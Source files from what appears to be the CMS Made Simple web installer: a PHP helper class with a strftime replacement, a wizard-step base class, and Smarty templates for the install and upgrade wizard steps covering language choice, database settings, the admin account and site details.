        // convert text into some sort of html
        $tmp = @\file_get_contents("$dir/$fn");
        $tmp = \nl2br(\wordwrap(\htmlspecialchars($tmp), 80));
        
        return $tmp;
      }
    }
  }
  
  public static function get_upgrade_readme($version)
  {
    // it is not an error to not have a readme file
    $app = \__appbase\get_app();
    $dir = $app->get_appdir()."/upgrade/$version";
    if( !\is_dir($dir) ) throw new \RuntimeException(\__appbase\lang('error_internal', 'u100'));
    $files = ['README.HTML.INC', 'readme.html.inc', 'README.HTML', 'readme.html'];
    foreach( $files as $fn ) {
      if( \is_file("$dir/$fn") ) return @\file_get_contents("$dir/$fn");
    }
    if( \is_file("$dir/readme.txt") ) {
      // convert text into some sort of html.
      $tmp = @\file_get_contents("$dir/readme.txt");
      $tmp = \nl2br(\wordwrap(\htmlspecialchars($tmp), 80));
      return $tmp;
    }
  }
  
  public static function strftime(string $format, $timestamp = null, ?string $locale = null): string
  {
    if (null === $timestamp) {
      $timestamp = new \DateTime;
    }
    elseif (\is_numeric($timestamp)) {
      $timestamp = \date_create('@' . $timestamp);
      
      if ($timestamp) {
        $timestamp->setTimezone(new \DateTimezone(\date_default_timezone_get()));
      }
    }
    elseif (\is_string($timestamp)) {
      $timestamp = \date_create($timestamp);
    }
    
    if (!($timestamp instanceof \DateTimeInterface)) {
      throw new \InvalidArgumentException('$timestamp argument is neither a valid UNIX timestamp, a valid date-time string or a DateTime object.');
    }
    
    $locale = \substr((string) $locale, 0, 5);
    
    $intl_formats = [
      '%a' => 'EEE',	// An abbreviated textual representation of the day	Sun through Sat
      '%A' => 'EEEE',	// A full textual representation of the day	Sunday through Saturday
      '%b' => 'MMM',	// Abbreviated month name, based on the locale	Jan through Dec
      '%B' => 'MMMM',	// Full month name, based on the locale	January through December
      '%h' => 'MMM',	// Abbreviated month name, based on the locale (an alias of %b)	Jan through Dec
    ];
    
    $intl_formatter = function (\DateTimeInterface $timestamp, string $format) use ($intl_formats, $locale) {
      $tz = $timestamp->getTimezone();
      $date_type = \IntlDateFormatter::FULL;
      $time_type = \IntlDateFormatter::FULL;
      $pattern = '';
      
      // %c = Preferred date and time stamp based on locale
      // Example: Tue Feb 5 00:45:10 2009 for February 5, 2009 at 12:45:10 AM
      if ($format == '%c') {
        $date_type = \IntlDateFormatter::LONG;
        $time_type = \IntlDateFormatter::SHORT;
      }
      // %x = Preferred date representation based on locale, without the time
      // Example: 02/05/09 for February 5, 2009
      elseif ($format == '%x') {
        $date_type = \IntlDateFormatter::SHORT;
        $time_type = \IntlDateFormatter::NONE;
      }
      // Localized time format
      elseif ($format == '%X') {
        $date_type = \IntlDateFormatter::NONE;
        $time_type = \IntlDateFormatter::MEDIUM;
      }
      else {
        $pattern = $intl_formats[$format];
      }
      
      return (new \IntlDateFormatter($locale, $date_type, $time_type, $tz, null, $pattern))->format($timestamp);
    };
    
    // Same order as https://www.php.net/manual/en/function.strftime.php
    $translation_table = [
      // Day
      '%a' => $intl_formatter,
      '%A' => $intl_formatter,
      '%d' => 'd',
      '%e' => function ($timestamp) {
        return \sprintf('% 2u', $timestamp->format('j'));
      },
      '%j' => function ($timestamp) {
        // Day number in year, 001 to 366
        return \sprintf('%03d', $timestamp->format('z') + 1);
      },
      '%u' => 'N',
      '%w' => 'w',
      
      // Week
      '%U' => function ($timestamp) {
        // Number of weeks between date and first Sunday of year
        $day = new \DateTime(\sprintf('%d-01 Sunday', $timestamp->format('Y')));
        return \sprintf('%02u', 1 + ($timestamp->format('z') - $day->format('z')) / 7);
      },
      '%V' => 'W',
      '%W' => function ($timestamp) {
        // Number of weeks between date and first Monday of year
        $day = new \DateTime(\sprintf('%d-01 Monday', $timestamp->format('Y')));
        return \sprintf('%02u', 1 + ($timestamp->format('z') - $day->format('z')) / 7);
      },
      
      // Month
      '%b' => $intl_formatter,
      '%B' => $intl_formatter,
      '%h' => $intl_formatter,
      '%m' => 'm',
      
      // Year
      '%C' => function ($timestamp) {
        // Century (-1): 19 for 20th century
        return \floor($timestamp->format('Y') / 100);
      },
      '%g' => function ($timestamp) {
        return \substr($timestamp->format('o'), -2);
      },
      '%G' => 'o',
      '%y' => 'y',
      '%Y' => 'Y',
      
      // Time
      '%H' => 'H',
      '%k' => function ($timestamp) {
        return \sprintf('% 2u', $timestamp->format('G'));
      },
      '%I' => 'h',
      '%l' => function ($timestamp) {
        return \sprintf('% 2u', $timestamp->format('g'));
      },
      '%M' => 'i',
      '%p' => 'A', // AM PM (this is reversed on purpose!)
      '%P' => 'a', // am pm
      '%r' => 'h:i:s A', // %I:%M:%S %p
      '%R' => 'H:i', // %H:%M
      '%S' => 's',
      '%T' => 'H:i:s', // %H:%M:%S
      '%X' => $intl_formatter, // Preferred time representation based on locale, without the date
      
      // Timezone
      '%z' => 'O',
      '%Z' => 'T',
      
      // Time and Date Stamps
      '%c' => $intl_formatter,
      '%D' => 'm/d/Y',
      '%F' => 'Y-m-d',
      '%s' => 'U',
      '%x' => $intl_formatter,
    ];
    
    $out = \preg_replace_callback('/(?<!%)(%[a-zA-Z])/', static function ($match) use ($translation_table, $timestamp) {
      if ($match[1] == '%n') {
        return "\n";
      }
      elseif ($match[1] == '%t') {
        return "\t";
      }
      
      if (!isset($translation_table[$match[1]])) {
        throw new \InvalidArgumentException(\sprintf('Format "%s" is unknown in time format', $match[1]));
      }
      
      $replace = $translation_table[$match[1]];
      
      if (\is_string($replace)) {
        return $timestamp->format($replace);
      }
      else {
        return $replace($timestamp, $match[1]);
      }
    },                            $format);
    
    $out = \str_replace('%%', '%', $out);
    return $out;
  }
} // end of class

?>
<?php

namespace cms_autoinstaller;

abstract class wizard_step extends \__appbase\wizard_step
{
  static $_registered;
  
  /**
   * @throws \SmartyException
   */
  public function __construct()
  {
    parent::__construct();
    $dd = \__appbase\get_app()->get_destdir();
    if( !$dd ) throw new \RuntimeException('Session Failure');

    if( !self::$_registered ) {
      \__appbase\smarty()->addPluginsDir(\__appbase\app::get_rootdir().'/lib/plugins');
      \__appbase\smarty()->registerPlugin('function', 'wizard_form_start', [$this, 'fn_wizard_form_start']);
      \__appbase\smarty()->registerPlugin('function', 'wizard_form_end', [$this, 'fn_wizard_form_end']);
      self::$_registered = 1;
    }

    \__appbase\smarty()->assign('version',\__appbase\get_app()->get_dest_version());
    \__appbase\smarty()->assign('version_name',\__appbase\get_app()->get_dest_name());
    \__appbase\smarty()->assign('dir',\__appbase\get_app()->get_destdir());
    \__appbase\smarty()->assign('in_phar',\__appbase\get_app()->in_phar());
    \__appbase\smarty()->assign('cur_step',$this->cur_step());
  }

  public function fn_wizard_form_start($params, $smarty)
  {
      echo '<form method="POST" action="'.$_SERVER['REQUEST_URI'].'">';
  }

  public function fn_wizard_form_end($params, $smarty)
  {
      echo '</form>';
  }
  
  /**
   * @throws \Exception
   */
  protected function get_primary_title()
  {
      $app = \__appbase\get_app();
      $action = $this->get_wizard()->get_data('action');
      $str = null;
      switch( $action ) {
      case 'upgrade':
          $str = \__appbase\lang('action_upgrade',$app->get_dest_version());
          break;
      case 'freshen':
          $str = \__appbase\lang('action_freshen',$app->get_dest_version());
          break;
      case 'install':
      default:
          $str = \__appbase\lang('action_install',$app->get_dest_version());
      }
      return $str;
  }
  
  /**
   * @throws \Exception
   */
  protected function display()
  {
      \__appbase\smarty()->assign('wizard_steps',$this->get_wizard()->get_nav());
      \__appbase\smarty()->assign('title',$this->get_primary_title());
  }

  public function error($msg)
  {
      $msg = \addslashes($msg);
      echo '<script type="text/javascript">add_error(\''.$msg.'\');</script>'."\n";
      \flush();
  }

  public static function verbose($msg)
  {
      $msg = \addslashes($msg);
      $verbose = \__appbase\wizard::get_instance()->get_data('verbose');
      if( $verbose )  echo '<script type="text/javascript">add_verbose(\''.$msg.'\');</script>'."\n";
      \flush();
  }

  public function message($msg)
  {
      $msg = \addslashes($msg);
      echo '<script type="text/javascript">add_message(\''.$msg.'\');</script>'."\n";
      \flush();
  }

  public function set_block_html($id, $html)
  {
      $html = \addslashes($html);
      echo '<script type="text/javascript">set_block_html(\''.$id.'\',\''.$html.'\');</script>'."\n";
      \flush();
  }

  protected function finish()
  {
      echo '<script type="text/javascript">finish();</script>'."\n";
      \flush();
  }

}

?>
<?php
Quick notes for debugging/developing the .phar installer

1:
--
For developing with the .phar installer without building the thing for each test
specify a ?dest=/full/path/to/directory argument on the INITIAL url

i.e:  http://www.mysite.com/phar_installer/index.php?dest=/var/www/cmsms_dir

{* error template *}

{extends file='index.tpl'}

{block name='logic'}
    {$title = 'title_error'|tr}
{/block}

{block name='contents'}{/block}
{block name='logic'}{/block}<!DOCTYPE html>
<!--[if IE 8]>         <html lang="en" class="lt-ie9"> <![endif]-->
<!--[if gt IE 8]><!--> <html lang="en"> <!--<![endif]-->
    <head>
        {if isset($BASE_HREF)}<base href="{$BASE_HREF}"/>{/if}
        <meta charset="utf-8">
        <meta name='HandheldFriendly' content='True' />
        <meta name='MobileOptimized' content='320' />
        <meta name='viewport' content='width=device-width, initial-scale=1.0' />
        <meta http-equiv='cleartype' content='on' />
        <script src="app/assets/vendor/jquery-1.11.2.min.js"></script>
        <script src="app/assets/vendor/jquery-ui/jquery-ui.min.js"></script>
        <link rel="stylesheet" type="text/css" href="app/assets/vendor/jquery-ui/jquery-ui.min.css"/>
        <title>
      {if !empty($browser_title)}
        {$browser_title}
      {elseif !empty($title)}
        {$title nocache} - CMS Made Simple&trade; {'apptitle'|tr}
      {else}
        CMS Made Simple&trade; {'apptitle'|tr}}
      {/if}
     </title>
        <!--[if lt IE 9]>
            <script src="app/assets/js/html5.js"></script>
            <script src="app/assets/js/css3-mediaqueries.js"></script>
        <![endif]-->
        <link rel="stylesheet" type="text/css" href="app/assets/css/install.css"/>
    <link rel="icon" type="image/ico" href="app/assets/images/favicon.ico"/>
    </head>
    <body class="cmsms-ui">
        <div class="row header-section">
            <a href="http://www.cmsmadesimple.org" rel="external" target="_blank" class="cmsms-logo" title="CMS Made Simple&trade;">
                <img src="app/assets/images/cmsms-logo.png" alt="CMS Made Simple&trade;" title="CMS Made Simple&trade;" width="332" height="77" />
            </a>
            <span class="installer-title">{'apptitle'|tr}</span>
        </div>
        <div class="row installer-section">
            <div class="four-col installer-steps-section">
                <div class="inner">
                {block name='aside_content'}
                    {if isset($wizard_steps)}
                    <aside class="installer-steps">
                        <ol id="installer-indicator">
                            {foreach $wizard_steps as $classname => $step}
                            {strip}
                            <li class="step {if $step.active} current-step{/if}{if isset($current_step) && $current_step > $step@iteration} done-step{/if}">
                                <h4 class="step-title">{$step.classname|tr}{if isset($current_step) && $current_step > $step@iteration} <i class="icon-checkmark">&#x2713;</i>{/if}</h4>
                                <p class="step-description"><em>{'desc_'|cat:$step.classname|tr}</em></p>
                            </li>
                            {/strip}
                            {/foreach}
                        </ol>
                    </aside>
                    {/if}
                {/block}
                </div>
            </div>
            <main role="main" class="eight-col installer-content-section">
                <div class="inner">
                    <h1>{if isset($title)}{$title}{else}{'install_upgrade'|tr}{/if}</h1>
            {if isset($subtitle)}<h3>{$subtitle}</h3>{/if}

                    {if isset($dir) && ($in_phar || $cur_step > 1)}
                    <div class="message blue icon">
                        <i class="icon-folder-open message-icon"></i>
                        <div class="content"><strong>{'prompt_dir'|tr}:</strong> <br />{$dir}</div>
                    </div>
                    {/if}

                    {if isset($error)}
                    <div class="message red">
                        {$error}
                    </div>
                    {/if}
                    <article>
                        {block name='contents'}WIZARD CONTENTS GO HERE{/block}
            {block name='content-footer'}{/block}
                    </article>

                </div>
            </main>
        </div>
        <footer class="row footer-section">
            <div class="footer-info">
                <a href="https://forum.cmsmadesimple.org" target="_blank">{'title_forum'|tr}</a> &bull; <a href="https://docs.cmsmadesimple.org" target="_blank">{'title_docs'|tr}</a> &bull; <a href="http://apidoc.cmsmadesimple.org" target="_blank">{'title_api_docs'|tr}</a>
            </div>
            <div>
                <small>
                &copy; Copyright {$smarty.now|localedate_format:'Y'} <a href="http://www.cmsmadesimple.org">CMS Made Simple&trade;</a>. All rights reserved{if isset($installer_version)} - {'installer_ver'|tr}:&nbsp;{$installer_version}{/if}{if isset($build_time)} - {'build_date'|tr}:&nbsp;{$build_time|localedate_format:'j %h Y H:i:s'}{/if}
                </small>
            </div>
            <div><small>{if isset($build_number)}{'build_reference'|tr}: {$build_number}{/if}</small> </div>
        </footer>
    {block name='javascript'}
    <script>
    var cmsms_lang = {
        freshen : '{'confirm_freshen'|tr|addslashes}',
        upgrade : '{'confirm_upgrade'|tr|addslashes}',
        message : '{'social_message'|tr|addslashes}'
    };
    </script>
    {/block}
    </body>
</html>
{extends file='index.tpl'}
{block name='javascript' append}
    <script src="app/assets/js/functions.js"></script>
{/block}{* wizard step 1 *}
{extends file='wizard_step.tpl'}

{block name='logic'}
    {capture assign='browser_title'}CMS Made Simple&trade; {$version|default:''} ({$version_name|default:''}) {'apptitle'|tr}{/capture}
    {capture assign='title'}{'title_welcome'|tr} {'to'|tr} CMS Made Simple&trade; {$version|default:''} <em>({$version_name|default:''})</em><br/>{'apptitle'|tr}{/capture}
    {$current_step = '1'}
{/block}

{block name='contents'}
<script type="text/javascript">
function redirect_langchange() {
  var e = document.getElementById('lang_selector');
  var v = e.options[e.selectedIndex].value;
  var url = window.location.origin + window.location.pathname + '?curlang='+v;
  window.location = url;
  return false;
}
</script>

<p>{'welcome_message'|tr}</p>

<div class="installer-form">
{wizard_form_start}
    {if empty($custom_destdir) && !empty($dirlist)}
      <h3>{'step1_destdir'|tr}</h3>

      <p class="message yellow">{'step1_info_destdir'|tr}</p>

      <div class="row message yellow">
        <label>{'destination_directory'|tr}:</label>
        <select class="form-field" name="destdir">
          {html_options options=$dirlist selected=$destdir|default:''}
        </select>
      </div>
      <hr />
    {/if}

    <h3>{'step1_language'|tr}</h3>
    <p class="info">{'select_language'|tr}</p>
    <div class="row">
        <label>{'available_languages'|tr}:</label>
        <select id="lang_selector" class="form-field" name="lang" onchange="redirect_langchange()">
            {html_options options=$languages selected=$curlang}
        </select>
    </div>

    <hr />

    <h3>{'step1_advanced'|tr}</h3>
    <p class="info">{'info_advanced'|tr}</p>

    <div class="row">
        <label>{'advanced_mode'|tr}:</label>
        <select class="form-field" name="verbose">
            {html_options options=$yesno selected=$verbose}
        </select>
    </div>

    <div id="bottom_nav">
      <input type="submit" class="action-button positive" name="next" value="{'next'|tr} &rarr;"/>
    </div>
{wizard_form_end}
</div>
{/block}
{* wizard step 2 *}

{extends file='wizard_step.tpl'}
{block name='logic'}
    {$title = 'title_step2'|tr}
    {$current_step = '2'}
{/block}
{block name='contents'}

<script type="text/javascript">
$(document).ready(function(){
  $('#upgrade_info .link').css('cursor','pointer').click(function(){
     var e = '#'+$(this).data('content');
     $(e).dialog({
       minWidth: 500,
       modal: 'true'
     })
  });
});
</script>

<div class="installer-form">
  {wizard_form_start}
  {$label='install'|tr}

  {if $nofiles}
    <div class="message yellow">{'step2_nofiles'|tr}</div>
  {/if}

  {if !isset($cmsms_info)}
    <div class="message yellow">{'step2_nocmsms'|tr}</div>
    {if !$install_empty_dir}
    <div class="message red">{'step2_install_dirnotempty2'|tr}
      {if !empty($existing_files)}
      <ul>
        {foreach $existing_files as $one}
        <li>{$one}</li>
        {/foreach}
      </ul>
      {/if}
    </div>
    {/if}
  {else}
    {* its an upgrade or freshen *}
    {if isset($cmsms_info.error_status)}
      {if $cmsms_info.error_status == 'too_old'}
        <div class="message red">{'step2_cmsmsfoundnoupgrade'|tr}</div>
      {elseif $cmsms_info.error_status == 'same_ver'}
        <div class="message red">{'step2_errorsamever'|tr}</div>
      {elseif $cmsms_info.error_status == 'too_new'}
        <div class="message red">{'step2_errortoonew'|tr}</div>
      {else}
        <div class="message red">{'step2_errorother'|tr}</div>
      {/if}
    {else}
      <div class="message yellow">{'step2_cmsmsfound'|tr}</div>
    {/if}

    <ul class="existing-info no-list no-padding">
      <li class="row"><div class="six-col">{'step2_pwd'|tr}:</div><div class="six-col"><span class="label blue"><i class="icon-folder-open"></i> {$pwd}</span></div></li>
      <li class="row"><div class="six-col">{'step2_version'|tr}:</div><div class="six-col"><span class="label blue"><i class="icon-info"></i> {$cmsms_info.version} <em>({$cmsms_info.version_name})</em></span></div></li>
      <li class="row"><div class="six-col">{'step2_schemaver'|tr}:</div><div class="six-col"><span class="label blue"><i class="icon-stack"></i> {$cmsms_info.schema_version}</span></div></li>
      <li class="row"><div class="six-col">{'step2_installdate'|tr}:</div><div class="six-col"><span class="label blue"><i class="icon-calendar"></i> {$cmsms_info.mtime|localedate_format:'j %h Y'}</span></div></li>
    </ul>

    {if isset($cmsms_info.noupgrade)}
      <div class="message yellow">{'step2_minupgradever'|tr:$config.min_upgrade_version}</div>
    {else}
      {$label='upgrade'|tr}
      {if !empty($upgrade_info)}
        <div class="message blue icon">
          <i class="icon-info message-icon"></i>
          <div class="content"><strong>{'step2_hdr_upgradeinfo'|tr}</strong><br />{'step2_info_upgradeinfo'|tr}</div>
        </div>
        <ul id="upgrade_info" class="no-list">
          {foreach $upgrade_info as $ver => $data}
          <li class="upgrade-ver row">
            <div class="four-col">{$ver}</div>
            <div class="four-col">
              {if $data.readme}
              <div class="label green link" data-content="r{$data@iteration}"><i class="icon-info"></i> {'readme_uc'|tr}</div>
              {/if}
            </div>
            <div class="four-col">
              {if $data.changelog}
              <div class="label blue link" data-content="c{$data@iteration}"><i class="icon-info"></i> {'changelog_uc'|tr}</div>
              {/if}
            </div>
          </li>
          {/foreach}
        </ul>
      {/if}
    {/if}
    {if isset($cmsms_info.error_status) && $cmsms_info.error_status == 'same_ver'}
    <div class="message yellow">{'step2_info_freshen'|tr:$cmsms_info.config.db_prefix}</div>
    {/if}
  {/if}

  <div id="bottom_nav">
    {if !isset($cmsms_info)}
      {if isset($retry_url)}
      {* <a class="action-button orange" href="{$retry_url}" title="{'retry'|tr}">{'retry'|tr} <i class="icon-loop"></i></a> *}
      <a onClick="window.location.reload();" class="action-button orange" title="{'retry'|tr}">{'retry'|tr} <i class="icon-loop"></i></a>
      {/if}
      <input class="action-button positive" id="install" type="submit" name="install" value="{'install'|tr}" />
    {elseif !isset($cmsms_info.error_status)}
      <input class="action-button positive" id="upgrade" type="submit" name="upgrade" value="{'upgrade'|tr} &rarr;" />
    {elseif $cmsms_info.error_status == 'same_ver'}
      <input class="action-button positive" id="freshen" type="submit" name="freshen" value="{'freshen'|tr} &rarr;" />
    {/if}
  </div>

  {wizard_form_end}
</div>

<div class="hidden">
  {if isset($upgrade_info)}
    {foreach $upgrade_info as $ver => $data}
      {if $data.readme}
      <div id="r{$data@iteration}" title="{'readme_uc'|tr}: {$ver}">
        <div class="bigtext">{$data.readme}</div>
      </div>
      {/if}
      {if $data.changelog}
        <div id="c{$data@iteration}" title="{'changelog_uc'|tr}: {$ver}">
          <div class="bigtext">{$data.changelog}</div>
        </div>
      {/if}
    {/foreach}
  {/if}
</div>
{/block}
{* wizard step 3 *}

{extends file='wizard_step.tpl'}
{block name='logic'}
    {$subtitle = 'title_step3'|tr}
    {$current_step = '3'}
{/block}

{block name='contents'}

{if $tests_failed}
  {if !$can_continue}
    <div class="message red">{'step3_failed'|tr}</div>
  {else}
    <div class="message yellow">{'sometests_failed'|tr}</div>
  {/if}
{/if}

{if $tests_failed || $verbose}
  <table class="table zebra-table bordered-table installer-test-information">
    <thead class="tbhead">
        <tr>
            <th>{'th_status'|tr}</th>
            <th>{'th_testname'|tr}</th>
        </tr>
    </thead>
    <tbody>
    {foreach from=$tests item='test'}
        {cycle values='odd,even' assign='rowclass'}
        <tr class="{$rowclass}{if $test->status == 'test_fail'} error{/if}{if $test->status == 'test_warn'} warning{/if}">
            <td class="{$test->status}">{if $test->status == 'test_fail'}<i title="{'test_failed'|tr}" class="icon-cancel-circle red"></i>{elseif $test->status == 'test_warn'}<i title="{'test_warning'|tr}" class="icon-warning yellow"></i>{else}<i title="{'test_passed'|tr|strip_tags}" class="icon-checkmark-circle green"></i>{/if}</td>
            <td>
                {$test->name|tr}
                {$str = $test->msg()}
                {if $str != '' && ($verbose || $test->status != 'test_pass')}
                  <br />
                  <span class="tests-infotext">{$str}</span>
                {/if}
            </td>
        </tr>
    {/foreach}
    </tbody>
  </table>
{else}
  <div class="message green">{'step3_passed'|tr}</div>
{/if}

<table class="table bordered-table installer-test-legend small-font">
    <caption>
        {'legend'|tr}
    </caption>
    <thead>
        <tr>
            <th>{'symbol'|tr}</th>
            <th>{'meaning'|tr}</th>
        </tr>
    </thead>
    <tbody>
        <tr>
            <td class="test_fail red"><i title="{'test_failed'|tr}" class="icon-cancel-circle red"></td>
            <td>{'test_failed'|tr}</td>
        </tr>
        <tr>
            <td class="test_pass green"><i title="{'test_passed'|tr|strip_tags}" class="icon-checkmark-circle green"></i></td>
            <td>{'test_passed'|tr}</td>
        </tr>
        <tr>
            <td class="test_warn yellow"><i title="{'test_warning'|tr}" class="icon-warning yellow"></i></td>
            <td>{'test_warning'|tr}</td>
        </tr>
    </tbody>
</table>

<div class="message yellow">{'warn_tests'|tr}</div>

<div id="bottom_nav">
{if $tests_failed}
  <a onClick="window.location.reload();" class="action-button orange" title="{'retry'|tr}">{'retry'|tr} <i class="icon-loop"></i></a>
{/if}
{if $can_continue} <a href="{$next_url}" class="action-button positive" title="{'next'|tr}">{'next'|tr} &rarr;</a>{/if}
</div>

{/block}
{* wizard step 4 *}

{extends file='wizard_step.tpl'}
{block name='logic'}
    {$subtitle = 'title_step4'|tr}
    {$current_step = '4'}
{/block}

{block name='contents'}

<div class="installer-form">
{wizard_form_start}

    <h3>{'prompt_dbinfo'|tr}</h3>
    <p>{'info_dbinfo'|tr}</p>

    <fieldset>
        {if $verbose}
        <div class="row form-row">
            <div class="four-col">
                <label>{'prompt_dbtype'|tr}</label>
            </div>
            <div class="eight-col">
                <select class="form-field" name="dbtype">
                    {html_options options=$dbtypes selected=$config.dbtype}
                </select>
            </div>
        </div>
        {/if}
        <div class="row form-row">
            <div class="four-col">
                <label>{'prompt_dbhost'|tr}</label>
            </div>
            <div class="eight-col">
                <input class="form-field required full-width" type="text" name="dbhost" value="{$config.dbhost}" required="required" />
                <div class="corner red">
                    <i class="icon-asterisk"></i>
                </div>
            </div>
        </div>
        <div class="row form-row">
            <div class="four-col">
                <label>{'prompt_dbname'|tr}</label>
            </div>
            <div class="eight-col">
                <input class="form-field required full-width" type="text" name="dbname" value="{$config.dbname}" required="required" />
                <div class="corner red">
                    <i class="icon-asterisk"></i>
                </div>
            </div>
        </div>
        <div class="row form-row">
            <div class="four-col">
                <label>{'prompt_dbuser'|tr}</label>
            </div>
            <div class="eight-col">
                <input class="form-field required full-width" type="text" name="dbuser" value="{$config.dbuser}" required="required" autocomplete="off"/>
                <div class="corner red">
                    <i class="icon-asterisk"></i>
                </div>
            </div>
        </div>
        <div class="row form-row">
            <div class="four-col">
                <label>{'prompt_dbpass'|tr}</label>
            </div>
            <div class="eight-col">
                <input class="form-field required full-width" type="password" name="dbpass" value="" autocomplete="false" required="required"/>
                <div class="corner red">
                    <i class="icon-asterisk"></i>
                </div>
            </div>
        </div>
        {if $verbose}
        <div class="row form-row">
            <div class="four-col">
                <label>{'prompt_dbport'|tr}</label>
            </div>
            <div class="eight-col">
                <input class="form-field full-width" type="text" name="dbport" value="{$config.dbport}" />
            </div>
        </div>
        <div class="row form-row">
            <div class="four-col">
                <label>{'prompt_dbprefix'|tr}</label>
            </div>
            <div class="eight-col">
                <input class="form-field full-width" type="text" name="dbprefix" value="{$config.dbprefix}" />
            </div>
        </div>
        {/if}
    </fieldset>

    <h3>{'prompt_timezone'|tr}</h3>
    <p>{'info_timezone'|tr}</p>

    <div class="row form-row">
        <label class="visuallyhidden">{'prompt_timezone'|tr}</label>
        <select class="form-field" name="timezone">
            {html_options options=$timezones selected=$config.timezone}
        </select>
    </div>

    {if $verbose}

    <h3>{'prompt_queryvar'|tr}</h3>
    <p class="info">{'info_queryvar'|tr}</p>

    <div class="row form-row">
        <div class="four-col">
            <label>{'prompt_queryvar'|tr}</label>
        </div>
        <div class="eight-col">
            <input class="form-field" type="text" name="query_var" value="{$config.query_var}" />
        </div>
    </div>
    {/if}

    {if $verbose and $action == 'install'}

    <h3>{'prompt_optional_modules'|tr}</h3>
    <p class="info">{'info_optional_modules'|tr}</p>
    <fieldset>
        {html_checkboxes name='optional_modules' options = $optional_modules
        selected = $config.optional_modules  separator='<br>'}
    </fieldset>
    <h3>{'prompt_installcontent'|tr}</h3>
    <p>{'info_installcontent'|tr}</p>

    <div class="row form-row">
        <label>{'prompt_installcontent'|tr}</label>
        <select class="form-field" name="samplecontent">
            {html_options options=$yesno selected=$config.samplecontent}
        </select>
    </div>
    {/if}

    <div id="bottom_nav">
    <input class="action-button positive" type="submit" name="next" value="{'next'|tr} &rarr;" />
    </div>

{wizard_form_end}
</div>
{/block}{* wizard step 5 *}

{extends file='wizard_step.tpl'}

{block name='logic'}
    {$subtitle = 'title_step5'|tr}
    {$current_step = '5'}
{/block}

{block name='contents'}

<div class="installer-form">
{wizard_form_start}
    <p>{'info_adminaccount'|tr}</p>

    <fieldset>
        <div class="row form-row">
            <div class="four-col">
                <label>{'username'|tr}</label>
            </div>
            <div class="eight-col">
                <input class="form-field required full-width" type="text" name="username" required="required" />
                <div class="corner red">
                    <i class="icon-asterisk"></i>
                </div>
            </div>
        </div>
        <div class="row form-row">
            <div class="four-col">
                <label>{'emailaddr'|tr}</label>
            </div>
            <div class="eight-col">
            {if $verbose}
                <input class="form-field full-width" type="email" name="emailaddr" />
            {else}
                <input class="form-field required full-width" type="email" name="emailaddr" required="required" />
                <div class="corner red">
                    <i class="icon-asterisk"></i>
                </div>
	    {/if}
            </div>
        </div>
        <div class="row form-row">
            <div class="four-col">
                <label>{'password'|tr}</label>
            </div>
            <div class="eight-col">
                <input class="form-field required full-width" type="password" name="password" required="required" autocomplete="off" />
                <div class="corner red">
                    <i class="icon-asterisk"></i>
                </div>
            </div>
        </div>
        <div class="row form-row">
            <div class="four-col">
                <label>{'repeatpw'|tr}</label>
            </div>
            <div class="eight-col">
                <input class="form-field required full-width" type="password" name="repeatpw" required="required" autocomplete="off" />
                <div class="corner red">
                    <i class="icon-asterisk"></i>
                </div>
            </div>
        </div>
        {if $verbose}
        <div class="row form-row">
            <div class="four-col">
                <label>{'saltpasswords'|tr}</label>
            </div>
            <div class="eight-col">
                <select name="saltpw" class="form-field">
                    {html_options options=$yesno selected=$account.saltpw}
                </select>
            </div>
        </div>
        <div class="row form-row">
            <div class="four-col">
                <label>{'emailaccountinfo'|tr}</label>
            </div>
            <div class="eight-col">
                <select id="emailacctinfo" name="emailaccountinfo" class="form-field">
                    {html_options options=$yesno selected=$account.emailaccountinfo}
                </select>
            </div>
        </div>
        {/if}

	<div id="bottom_nav">
        <input class="action-button positive" type="submit" name="next" value="{'next'|tr} &rarr;" />
	</div>

{wizard_form_end}
</div>

{/block}
{* wizard step 6 *}
{extends file='wizard_step.tpl'}

{block name='logic'}
    {$subtitle = 'title_step6'|tr}
    {$current_step = '6'}
{/block}

{block name='contents'}

<div class="installer-form">
{wizard_form_start}
    {if $action != 'freshen'}
        <h3>{'prompt_sitename'|tr}</h3>
        <p>{'info_sitename'|tr}</p>

        <div class="row form-row">
            <div class="twelve-col">
                <input class="form-field required full-width" type="text" name="sitename" value="{$siteinfo.sitename}" placeholder="{'ph_sitename'|tr}" required="required" />
                <div class="corner red">
                    <i class="icon-asterisk"></i>
                </div>
            </div>
        </div>
    {/if}

    <h3>{'prompt_addlanguages'|tr}</h3>
    <p>{'info_addlanguages'|tr}</p>

    <div class="row form-row">
        <select class="form-field" name="languages[]" multiple="multiple" size="8">
            {html_options options=$language_list selected=$siteinfo.languages}
        </select>
    </div>

    <div id="bottom_nav">
    <input class="action-button positive" type="submit" name="next" value="{'next'|tr} &rarr;" />
    </div>

{wizard_form_end}
</div>

{/block}
{* wizard step 7 -- files *}
{extends file='wizard_step.tpl'}

{block name='logic'}
    {$subtitle = 'title_step7'|tr}
    {$current_step = '7'}
{/block}

{block name='contents'}

    <div id="inner" style="overflow: auto; min-height: 10em; max-height: 35em;"></div>
    <div id="bottom_nav">
    {if isset($next_url)}
        <a class="action-button positive" href="{$next_url}" title="{'next'|tr}">{'next'|tr} &rarr;</a>
    {/if}
    </div>
{/block}{* wizard step 8 -- database work *}
{extends file='wizard_step.tpl'}

{block name='logic'}
    {$subtitle = 'title_step8'|tr}
    {$current_step = '8'}
{/block}

{block name='contents'}

    <div id="inner" style="overflow: auto; min-height: 10em; max-height: 35em;"></div>
    <div id="bottom_nav">
    {if isset($next_url) && $next_url}
        <a class="action-button positive" href="{$next_url}" title="{'next'|tr}">{'next'|tr} &rarr;</a>
    {/if}
    </div>

{/block}{* wizard step 9 -- files *}

{extends file='wizard_step.tpl'}
{block name='logic'}
    {$subtitle = 'title_step9'|tr}
    {$current_step = '9'}
{/block}
{block name='contents'}

<div id="inner" style="overflow: auto; min-height: 10em; max-height: 35em;"></div>
<div id="bottom_nav">{* bottom nav is needed here *}</div>
{/block}
{block name='content-footer'}
<hr />
    <div class="row message yellow">{'step9_removethis'|tr}</div>
    <h3 class="orange text-centered">{'step9_join_community'|tr}</h3>
    <p class="text-centered">{'step9_get_help'|tr}:</p>
    <div class="row text-centered">
<a class="action-button social facebook" href="https://www.facebook.com/cmsmadesimple" target="_blank">Facebook</a>
<a class="action-button social linkedin" href="https://www.linkedin.com/groups/1139537" target="_blank">LinkedIn</a>
<a class="action-button social twitter" href="https://twitter.com/cmsms" target="_blank">Twitter</a>
<a class="action-button social google" href="http://www.cmsmadesimple.org/support/options" target="_blank">{'step9_get_support'|tr}</a>
</div>
    <h3 class="orange text-centered">{'step9_love_cmsms'|tr}?</h3>
    <div class="row text-centered">
